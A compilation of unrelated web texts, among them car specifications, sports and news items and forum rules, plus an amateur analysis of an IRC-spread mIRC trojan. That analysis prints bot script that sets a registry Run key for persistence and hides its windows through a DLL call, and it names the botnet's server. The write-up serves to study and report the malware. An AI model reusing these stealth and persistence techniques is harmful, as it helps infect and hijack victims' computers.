|Rigid removable luggage cover
|Manhattan cloth upholstery
|Interior Lights
|Illuminated heater controls
|Front courtesy lights
|Rear door child safety locks
|Front side airbags
|Two 3 point rear seatbelts
|Front seatbelt pretensioners with force limiters
|Driver seatbelt warning indicator
|Passenger airbag deactivation warning
|Driver SMART airbag
|Front passenger SMART airbag with deactivate switch
|Isofix location points on rear seats
|Reclining front seats
|50/50 split folding rear seat
|Integral front head restraints
|Adjustable rear head restraints
|Remote central locking
|Locking fuel filler cap
|Internally operated central locking button
|Thatcham category 2 transponder immobiliser
|1 plip, 1 standard key
|Vanity Mirrors
|Driver/passenger sunvisors and vanity mirrors
|Wheels - Alloy
|14" Magda alloy wheels
|Wheels - Spare
|Full size spare wheel
The specification listed for this vehicle was standard when purchased new. The actual specification may vary, for confirmation, please contact our sales department.
"WOW!! Super low price car ready to drive away today!! Great deals on this fully prepared car, please come in and see for yourself."
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Key Features
- Air Conditioning
- Alloy Wheels
- DAB Radio
- Bluetooth
- Low Mileage
- 1 Owner
- Full Service History
Boot carpet, Electric front windows, ABS with EBFD + cornering stability control, PAS - speed related, Remote headlamp adjustment from fascia, Rev counter, Internally adjustable door mirrors, 4 speakers...
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|Engine Torque - MKG
|Engine Torque - NM
|Engine Torque - RPM
|Top Speed
Go Green
|Emissions - ICE
|CO2 (g/km)
|99 (g/km)
|Standard Euro Emissions
|Fuel Consumption - ICE
|EC Combined (mpg)
|EC Directive 1999/100/EC Applies
|EC Extra Urban (mpg)
|EC Urban (mpg)
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Ok I idle in a few channels on the Rizon IRC network. Rizon has been spammed to death latly with a botnet. So Im sitting infrunt of my machine and get bored. The spam msg promises Russin sex! I know this is just probibly a bot, but I do love my russin sex. Ok so the spam message tells me to go to the url. So I go there and right off the bat Im prompted to download movie.mpg.exe. That doesnt look like and russin porn video I've ever seen. I ignore that and look at the to pics/links of pron related material. Ooooohh theres the russin porn. I click a link. what do you know, that same exe is being surved to me. Meh, lets download'er and take a look.
So I save to my desktop and notice its just a self exstracting rar
file. So right of the bat I know these guys eather
A) Arnt that smart
B) Are lazy as hell
-They didnt even bother to pack it better or to scamble it with upx but thats another story all togeather.
Whats the best thing about these rars you ask? well simple. Right click and goto properties, then goto the comment tab. We see this.
;The comment below contains SFX script commands
This will tell us that there going to install to C:\windows\java and when the exe is done unpacking its going to run mirc.exe. Bingobango its a simple little mirc tojan....if only we could have seen thing comming... Ok, because its a rar file we can open it with rar right click on it again and click open with winrar.
Files in the rar!
Right off the bat we know that this is mIRC. Mirc needs an ini file, a romte file that holds all the remote code. Click on these files and view them.
bear.txt snippit
; Set bY mC_YaRgIc ...
on *:start: {
timer12123 0 1 secret
timerasd 0 150 mC_YARGIc
unset %*
.timer -i 1 2 NICK $_rands
.timer -i 1 2 ANICK $_rands
.timer -i 1 2 IDENTD ON $_rands
.timer -i 1 2 FULLNAME $_rands
.timer -i 1 2 EMAILADDR $_rands
.timer -i 0 60 _start
.timer -i 0 10 _reg
if $exists(up.reg) {
.remove up.reg
Yep, this file holds all the guys of the bot. The remote code.
Con32.dll snippet
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mIRC v6.11 Khaled Mardam-Bey
mIRC v6.1 Khaled Mardam-Bey
A version file. So if other clients ctcp version this bot they will get diffrent client version replys. Tipical.
Connects snippet
Theres our mIrc.ini file.
Edih.dll snippet
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hmmmm this is an actuall dll file. Wounder what it does? View the contents of bear.txt
**NOTE** everything with bold after it is my description of what it does.
; Set bY mC_YaRgIc ...
on *:start: {
celebili Calls an ailias
timer12123 0 1 secret Calls an ailias every 1 second
timerasd 0 150 mC_YARGIc Calls an ailias every 2.5 miniuts
mC_YARGIc Calls an ailias
unset %* Unsets all varibles
.timer -i 1 2 NICK $_rands Timer sets the nick to something random
.timer -i 1 2 ANICK $_rands timer sets the alt nick to something random
.timer -i 1 2 IDENTD ON $_rands timer sets the identd nick to something random
.timer -i 1 2 FULLNAME $_rands timer sets the fullname to something random
.timer -i 1 2 EMAILADDR $_rands timer sets the email address to something random
.timer -i 0 60 _start Calls an ailias
.timer -i 0 10 _reg Calls an ailias
if $exists(up.reg) {
.remove up.reg Deletes up.reg
write up.reg REGEDIT4
write up.reg [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] Makes a reg file
write up.reg "Startup"=" $+ $nopath($mircexe) $+ "
on *:exit: {
run -n regedit /s up.reg When mirc closes it runs regedit to slienty (/s) run that regfile again
run $nopath($mircexe) so mirc will start again on boot.
on *:connect: {
if $serverip == %serverip { if/when mirc connects to the server join %join
.timer -i 1 5 JOIN %join
on *:disconnect: { part all channels and rejoin server
There was alot of code here, but it was all the bot code. basicly remote commands for the 'admins' of this bot. !spam would spam, !clone would load more clones, !server would change server and stuff like that. I dont want more spam so Im not going to post all the code
alias _servmessage {
if $server {
if m isincs $chan(%join).mode && $me !isvoice %join { join channel
scid 1 .msg %join $1- join channel and hide the channel windo in mirc so the user cant see it.
alias mC_YARGIc {
scid -a window -hn "Status Window" hide the status window. So the user can see it or do anything.
alias celebili { .echo Kenan $dll(edih.dll, do_ShowWindow, $window(-2).hwnd 0) }
alias secret { if ($appstate != hidden) { .echo hidden $dll(edih.dll, do_ShowWindow, $window(-2).hwnd 0) } }
alias _start {
if !%readed {
The celebili code above hides mirc from the desktop. the secret code states that if the mirc isnt hidden to then hide it!
The rest of this file was just more remote code that im not going to publish.
Open up connects and look for this line. host=184.108.40.206SERVER:126.96.36.199:6667. Theres the server this bot connects
too. Lets open our IRC client and connect to it. When we connect we get irc.mkilhan.com from the MOTD (Message Of The Day - the IRC servers message) So we know that this server is mkilhan.com. Lets goto there website and take a look. Nope nothing really of any use there.
ok lets copy a mirc.exe into that C:\windows\java dir and open up the bear.txt and edit it so it doesnt do anything nasty when we connect. Im going to remove all the hidden/reg stuff and show you what it looks like when were done.
on *:start: {
unset %* .timer -i 1 2 NICK $_rands
.timer -i 1 2 ANICK $_rands
.timer -i 1 2 IDENTD ON $_rands
.timer -i 1 2 FULLNAME $_rands
.timer -i 1 2 EMAILADDR $_rands
.timer -i 0 60 _start
.timer -i 0 10 _reg
Also go down to these lines so we can edit them to what I have so we can see whats going on when we connect
alias mC_YARGIc {
echo Status Window not hidden anymore we wana see stuff
alias celebili { .echo celebili } [b]dont need that hide dll. and will see when that alias is called
alias secret { if ($appstate != hidden) { .echo hidden } } same as above
alias _start {
if !%readed {
echo _opensocks we dont need that. lets just open that.
Ok so now we run the mirc.exe. We connect to the network then join #intikam. Interesting. Look at all those bots, theres gotta be 100 or so. Lets whos the admins, there admins so there hostmasks are masked. Meh, we gottem anyways. Lets do a /list so we can see other channels. Theres just 4 or so. Nothing special. At this point they noticed one of there bots snooping
around there network and killed me with a kiline. Guess I'm not wanted there.
Clean up!
ok delete those files from the java dir.then open regedit and goto
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run and delete the mirc entry.
Ok this bot was simple, it would be more effective if the bot was packed better. Thus would have been a little harder to pick up but not very. Also they should have used the %windir% varable instead of C:\windows so the bout would work on more os's. They shouldnt have used there IRC nicks as aliases. After I did this expairement I whois'ed there ips and emailed the abuse account about for the subnets for boath the webhosting site and the irc network and told them about the bot. Might not do anything but still. I could have gone father and tryd to ctcp chat the admins then used netstat to find there ips. Meh, I dont really care. Im glad I got to take a look at what there doing and how all this stuff works. I hope some one finds this info usefull or entertaining. It just gos to show you that the promise of free sex on the internet is usaully just that.
One More Thing!
If you have ever talked to me you know I cant spell and my grammer sucks. I tryd to spell check with google toolbar, nothing came up. My OpenOffice isnt working as it should so there might be some spelling mistakes. FOR THIS IM SORRY!


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This is the first day of the rest of your season.
That win over Colorado sure was nice, and convincing, and all that fun stuff, but still, it was only over Colorado, which just won literally is second game in the last 22.
So not much to hang your hat on there.
Now the true remainder of the season begins, and maybe two of these next nine games the rest of the way is going to be described as "easy." This is not one of them.
The Anaheim Ducks are a team that, like most in the Western Conference, is fighting for its playoff life, and has the added scratching-and-clawing incentive of not currently having one (though neither do the Flames). I've always believed that teams on the edge of qualifying for a playoff spot are more dangerous than those on the edge of losing one.
For evidence, look no deeper than tonight's matchup. Calgary went from a semi-comfortable fifth place in the West to out of the playoffs in the space of about a week not too long ago, and the concern generated by that is mitigated only somewhat by the Avalanche game. The Ducks, meanwhile, have been out of the playoffs for most of the season, but rampaged back into the conversation having won seven of their last nine.
More troubling, Anaheim has been winning a lot of games in overtime. Four of their last 10 games have been of the three-point variety, ceding at least a loser point to Minnesota, Detroit, Dallas and Los Angeles. A quick check of the standings shows three of those four teams are within five points of the Flames.
So while both Calgary and Anaheim are deadlocked at 83 points apiece, one point out, the best tactic possible would be to win in regulation.
Winning is winning and all that, I understand, but you don't want a point given up here tonight to come back and haunt you in April. Calgary, while struggling of late, has at least limited the three-point affairs, while getting no help on that front from the rest of the West. But ultimately you can only control the games in which you play.
And here's one last thing about the Ducks I thought was interesting. For all the talk about how their defense has been a bit iffy this year, they've allowed two or fewer goals in six of their last nine, and three of their last four. They've allowed just one each in their last two. That's not a team with a battered forward group like the Flames' necessarily needs right now.


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Debunking the mythical media
One of my favorite sports is poking fun at the folly of the media business. The media's ability to skew historical accuracy is astounding. The media of yesteryear, before modern technology, was much more capable of erroneous recording of facts than today, when information can allegedly be checked.
However, checked or not, the information that survives is told from a perspective that makes the best news. The facts, right or wrong, that attract the most viewers, sell the most newspapers, and elicit the most hits on the Internet are generally the ones engraved in historical stone and accepted as the truth – God help us all.
To add proverbial insult to injury, we must take into consideration that we are media victims. Whatever the media powers decide is worthy, is the only news we see. We aren't given a choice.
That's why Brittany, Paris and Lindsey get more ink, airtime and Internet hits than let's say, news from the White House or reports on the wars in Iraq and Afghanistan.
The reports are so thorough when chronicling the useless lives of these icons of pop culture that printing their last names is not necessary. Everybody knows who they are. Anyone living in an area with media access during the last five or six years could not have escaped exposure to information about those three people.
It is indeed interesting that any news about the media darlings, accurate or not, is devoured by the public, even though our lives are not affected by the information in any way. Actually, that is more sad than interesting. However, if the aforementioned is true, we would be foolish to believe that the popular or most accepted information in the history books is always correct.
For instance, this week Sarah Palin again attracted media focus for adding another blunder to her long string of gaffes as she continued her attempt to set the record for blatant display of ignorance.
This time she tried to convince us that her recounting of Paul Revere's ride was accurate. Before we so hastily pounce on her blunder, what makes anyone think that the facts in the history books that she misquoted were completely accurate?
In fact, the information was skewed. Paul Revere did make the legendary ride to warn the colonists that the British were coming. However, he only rode 19 miles from Boston to Cambridge. The people he told also went out to help warn the Minute Men that the British were on their way.
There were as many as 40 men on horseback going house to house to announce the news. Later that night, Revere was captured and detained by a British patrol while riding to Concord with William Dawes, a militia member, and Samuel Prescott, a doctor. Dawes and Prescott escaped.
Revere was then made famous in the epic poem by Henry Wadsworth Longfellow, "The Midnight Ride of Paul Revere." The poem credited Revere with being a hero of the American Revolution for alerting the colonists before the British had a chance to attack.
The truth is, on the same day, a postal worker by the name of Israel Bissell made a 345-mile ride on horseback that took four days and six hours from Watertown, Mass., to Philadelphia. Along the way, he warned many more colonists of the oncoming British regulars than Revere did. That is a documented fact.
However, all the credit went to Revere, a successful silversmith and active patriot who had organized an intelligence and alarm system to keep watch on the British military. Bissell was never mentioned in the local news. Longfellow and the media found Revere more romantic, and easier to write about than Israel Bissell, a lowly postal worker.
Even back then, it was the media that was responsible for sensationalizing selected information and turning local legend into accepted fact.
The same thing happened when Washington Irving wrote about Christopher Columbus convincing
Queen Isabella of Spain that the world was round. The scientific community had accepted Aristotle's proof that the world was spherical more than 500 years earlier. She already knew that.
Irving erred by not writing about Columbus' miscalculations concerning the size of the earth. He convinced Isabella that Japan was 2,500 miles away when, in fact, it was 12,200 miles from Spain. When Columbus arrived in the Bahamas, he thought he was off the coast of Asia.
Media myth is largely responsible for why we live in a system we can't understand.


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Rhye's hot new track "The Fall" is this week's pick for JustJared.com and KIIS FM 102.7's JJ Music Monday!
The band, which consists of members Mike Milosh and Robin Hannibal, is set to release their first album Woman in stores TOMORROW (March 5). Pre-order it now on iTunes.
Rhye is one of the buzz bands for the 2013 SXSW Festival, which kicks off this week, and they will be launching a U.S. tour at Hollywood Forever in April!
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The Discussion thread - for those question you want to ask that aren't a trade post
*****If your posts keep getting deleted or you have a problem with another user, please note that I am no longer a moderator and have no control over the goings on in this thread. Please direct your PMs at the active moderators, such as Shrike4242. Starting 8/12/13, any PMs sent to me that pertain to issues you are having will be deleted and no longer forwarded. Thanks.*****
The usual rules apply, just like in many other master trade threads:
- The only things to be listed as "Haves" are Digital DVD / Ultraviolet codes and methods of monetary payment, such as Paypal. Also allowed are Disney Movie Reward codes, as Disney has started combining rewards points and digital copies into one code.
- Any posts containing other unrelated items, such as Xbox Live/PSN codes for example, will be deleted.
- One post at a time per person. If you make a new post with an updated list, please use the function to delete your previous post.
- Excessive posting is not allowed. Due to abuse in other threads, there is a post limit to every 3 days. In other words, if you make an updated post, do not make another one until 3 days after that post. If you sell/trade an item, your post. This rule is in effect to give everyone a chance to have their post seen.
- Any items that are currently free to anyone at the time of your posting are not allowed. Items that are obviously hoarded due to abuse in a giveaway can and will be blacklisted from trade.
- If you have a question about a persons list, send a PM. Do not ask it in the thread. There is also no need to make posts such as "PM sent." This will help reduce clutter. If their Inbox is full, post a message on their wall.
- Do not list Codes for movies that are not released yet. Make sure you have the codes in hand before posting and even if in-hand before release, they're not sellable.
- Test your codes immediately after purchase. If you are buying to resell later, involving another party makes it close to impossible to find out who is in the wrong so you will be on the hook, not the original source.
- Digital to Disk sales are not allowed.
- Any transactions that require the other party to provide access to an iTunes, Vudu, UV, CinemaNow or other digital content account are strictly forbidden. This is asking to have the account stolen/never returned and is something that is a mess waiting to happen.
- Self-promotion of sites outside of CAG to do trades/sales of codes is strictly forbidden. Users repeatedly doing self-promotion of said sites will get their posts deleted and will eventually be temp banned/permabanned from the forum.
- UV account sales are forbidden and will get you permabanned on the spot. Same goes for other accounts, such as iTunes, Vudu, CinemaNow and the like.
As always, trade at your own risk.
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BERLIN (AP) — German business confidence rose unexpectedly in November after six straight declines, a closely-watched survey showed Friday, raising hopes that Europe's largest economy can continue to weather the financial crisis.
Munich's Ifo institute said its key business climate figure rose to 101.4 points in November from 100 in October. Economists had been predicting a modest drop to 99.5. The increase in the headline index came on the back of increases in the measures about the present and the future.
"The latest positive news from business surveys clearly increased the odds for a real turnaround at the change of the year," said UniCredit economist Alexander Koch.
However, he cautioned that "the fog of uncertainty remains unusually dense and downside risks are high."
Germany's economy, Europe's biggest, has recovered strongly from its deep recession in 2008-09 despite the huge debt problems on its doorstep. However, there have been recent signs that its export-driven economy is beginning to slow amid weakening demand from other countries from within the European Union, though exports outside the bloc have remained strong.
Earlier this month, the German government's panel of independent economic advisers forecast that the economy will avoid falling back into recession and will instead grow by 0.8 percent this year and next.
"Even if domestic demand should lose some steam due to a weaker labor market, the risk for the economy of falling off the cliff looks very limited," ING economist Carsten Brzeski said. "The German economy might have lost its invulnerability but today's numbers indicate that the economy should not join the race to the bottom most other eurozone countries are currently in. "


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Out there somewhere — You could be $10,000 richer and not even know it.
Out there somewhere — You could be $10,000 richer and not even know it.
A lottery ticket for the Aug. 8 drawing, purchased at the St. Charles Shell on St. Charles Street in Houma, matched four of the five balls and the Powerball.
The owner of the ticket has won $10,000, but that person has not stepped forward to claim the money.
The numbers for the drawing were 3-7-11-15-28, and the Powerball was 12.
The owner of the ticket has until 5 p.m. on Feb. 4 to claim the prize, or it will go unclaimed.
Urge anyone you know who bought a ticket at that gas station to check the numbers.
If you have the winning numbers, contact the lottery office by calling 504-889-0031 or 225-297-2000.
It could be you.
He should know better — The Lafourche Parish Council is not going vote on a proposal that could have allowed bars to stay open until 3 a.m. on Friday and Saturday nights.
Councilman John Arnold, who put forward the measure, has said he is pulling it from consideration to "do more research."
"I want to do a little more research on how different parishes have adjusted to 3 a.m. sales," Arnold said.
Meanwhile, District Attorney Cam Morvant II has issued an opinion saying Arnold's involvement in the matter is improper because Arnold owns a bar, Club Illusions on La. 1.
Local officials should know better than to propose laws that could benefit them personally. If they don't know better already, this should be fair warning.
"The Louisiana Ethics Code prohibits any public servant from participating in a transaction in which he has a personal substantial interest of which he may be reasonably expected to know involving the public entity," Morvant's opinion says.
Arnold should have known better than to bring this up. And he and his colleagues on the council should know better than to bring it up again.
Budget cuts hurt again — Cuts in spending are nothing new.
Health care and higher education have been cut to the bone in recent years, and those cuts are getting even deeper.
Some, though, have hurt worse than others.
One local example of the fallout is Options for Independence, a social-service program that works with children and adults with developmental disabilities.
State money for the program has been slashed, with Medicaid money being cut in half. That is a big decrease for a program that works with so many people who desperately need the services.
"Isn't it a comfort to know that there are agencies that these kids can go to who need extra support to make a safer environment for everyone else?" said Misty Robichaux with Options.
That is a good question.
Documenting land loss — We know the value of our communities. Now there's a high-tech tool being developed so others can appreciate what we already know.
Vanishing Points is a Web app being created by Florida International University student Sandra Maina, working with the National Center for Atmospheric Research and the South Louisiana Wetlands Discovery Center.
The tool should help people who want to record their thoughts and photos of the coastal communities in our region. It will also serve as a way for those elsewhere to learn more about our corner of the world.
The app should be available in the coming months. Keep an eye out for it.
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Final voting for the Oscars will end on Tuesday, Feb. 19, at 5 p.m. PT. Ballots received after the deadline will not be counted.
The 5,856 voting members of the Academy of Motion Picture Arts and Sciences will have until the 19th to vote in up to 24 categories. This year, the Academy, for the first time, offered its members the option of casting their ballots online. Final voting began on Feb. 8.
The votes are being tabulated and verified by the international accounting firm of PricewaterhouseCoopers.
The Academy is urging members who have chosen to vote by paper ballot to return them well in advance of the deadline due to the Presidents Day holiday on Monday, Feb. 18.
Oscars for outstanding film achievements of 2012 will be presented on "Oscar Sunday," Feb. 24, at the Dolby Theatre at Hollywood & Highland Center, and will be hosted by Seth MacFarlane.


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NEW YORK (AP) — Jill Meltz lives in an Upper West Side high-rise — just a one-bedroom, but far from the havoc wreaked by Superstorm Sandy in lower Manhattan. And she graciously shared her good fortune with some dear friends.
Meltz, an advertising executive, took in a couple from the city's hard-hit Chelsea section along with their baby and 4-year-old child. In fact, she gave up her bedroom for them, sleeping on the living room sofa.
"It wasn't ideal, but we actually had a lot of fun," she said.
Around the metropolitan area, some of those lucky enough to escape the storm's wrath have taken in Sandy's displaced — friends, neighbors and colleagues who have fled their cold, dark homes in search of food, light, a hot shower and juice for their cellphones, iPads and laptops.
And the generosity toward the storm's victims has extended well beyond the big city. In Charlotte, N.C., Brian Cockman and his partner have welcomed a revolving door of people stranded by canceled flights.
"Charlotte is now the Sandy refugee headquarters," Cockman joked Thursday. "It's better to stay with a friend than to spend the extra money on a hotel. It's been great to reconnect."
Purvi Sevak, her husband and their two children, ages 5 and 8, lost power in their third-floor condominium in lower Manhattan's Tribeca neighborhood, but they didn't have to go far for refuge when enough became enough Wednesday.
Sevak and the kids moved into the two-bedroom apartment of friend Melissa Connor and her husband in Battery Park City on Manhattan's southern tip, an area that still had electricity. Sevak's husband stayed home in the dark with their elderly cat. Connor's children are the same age as Sevak's.
"Believe it or not, it's not insane," Sevak said Thursday. "I jokingly told the kids we were going to home-school, so we're having a mock election. I'm Mitt Romney."
The two moms are preparing pots of chili and buffets for dozens of powerless friends in search of a hot meal.
Connor didn't have to think twice about playing host.
"We lived down here during 9/11," she said. "We had people take us in and help us out, so we've been on the other side of the coin."
In Cranford, N.J., Andre Rivera, wife Elizabeth and their two kids, ages 3 and 5, haven't forgotten Hurricane Irene last year, when their three-bedroom house was heavily damaged. Now that the house is fixed, it's their turn to return the favor to relatives and neighbors.
"We've got my sister-in-law and her two kids from Mount Kisco and my neighbor with his wife and 8-month-old," he said. "They've all gone above and beyond for me and our kids, so we sent a note out right away that we have power and to come."
And come they have, a dozen or more in search of food, a place to work and electricity for charging their gadgets. Most were not looking to sleep over.
"All day was a revolving door," Rivera said. "They've been bringing whatever food they have."
Sandy has turned the Upper West Side apartment of Karen Kriendler Nelson, an arts publicist, into "a roving bed and breakfast." Nelson first hosted stranded assistant Donna Leah Smith, who stayed through Thursday morning in the three-bedroom apartment before heading home to Philadelphia, from which she commutes to New York once a week.
On Wednesday, Gregory Downer, an art director of Opera News magazine, arrived with his dachshund Ziggy.
Nelson prepared chicken with apricot-peach glaze one night, and another night she made string beans and couscous to go with the halibut Downer had brought.
As for the dog, Nelson said her teacup Maltese, Pino, "reluctantly welcomed Ziggy into the house; they now have a truce."
Bob Payne's house in Pelham Manor, north of the city, still has power while many others in his neighborhood are without. He and his family had three sleepover guests Wednesday night.
Also, "I've got a neighbor boy, a high school senior, who showed up at the door about an hour ago, his computer in hand," Payne said Thursday. "His college application is due. He's sitting at my dining room table."
Payne has no idea why his electricity was spared.
"It's strange," he said. "You feel really guilty that everything you have works."